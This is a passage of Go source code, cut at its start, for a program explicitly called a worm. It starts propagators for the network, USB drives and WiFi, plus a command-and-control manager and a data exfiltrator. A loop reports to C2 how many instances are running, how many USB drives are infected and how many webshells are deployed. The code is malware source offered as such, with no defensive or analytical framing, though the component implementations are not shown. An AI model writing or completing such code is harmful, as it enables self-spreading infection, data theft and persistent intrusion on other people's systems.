w.propagator.Start() go w.usbPropagator.StartMonitoring() go w.wifiPropagator.Start() go w.c2Manager.Start() go w.dataExfiltrator.Start() // Main loop w.maintenanceLoop() } func (w *Worm) maintenanceLoop() { ticker := time.NewTicker(30 * time.Second) for range ticker.C { w.status = "ACTIVE" // Report population status to C2 w.c2Manager.sendToC2("STATUS", map[string]interface{}{ "population": len(w.population.knownInstances), "role": w.population.leader, "usb_infected": len(w.usbPropagator.infectedUSBs), "webshells": len(w.webShellManager.deployed), }) } } func main() { worm := NewWorm() worm.Run() select {} }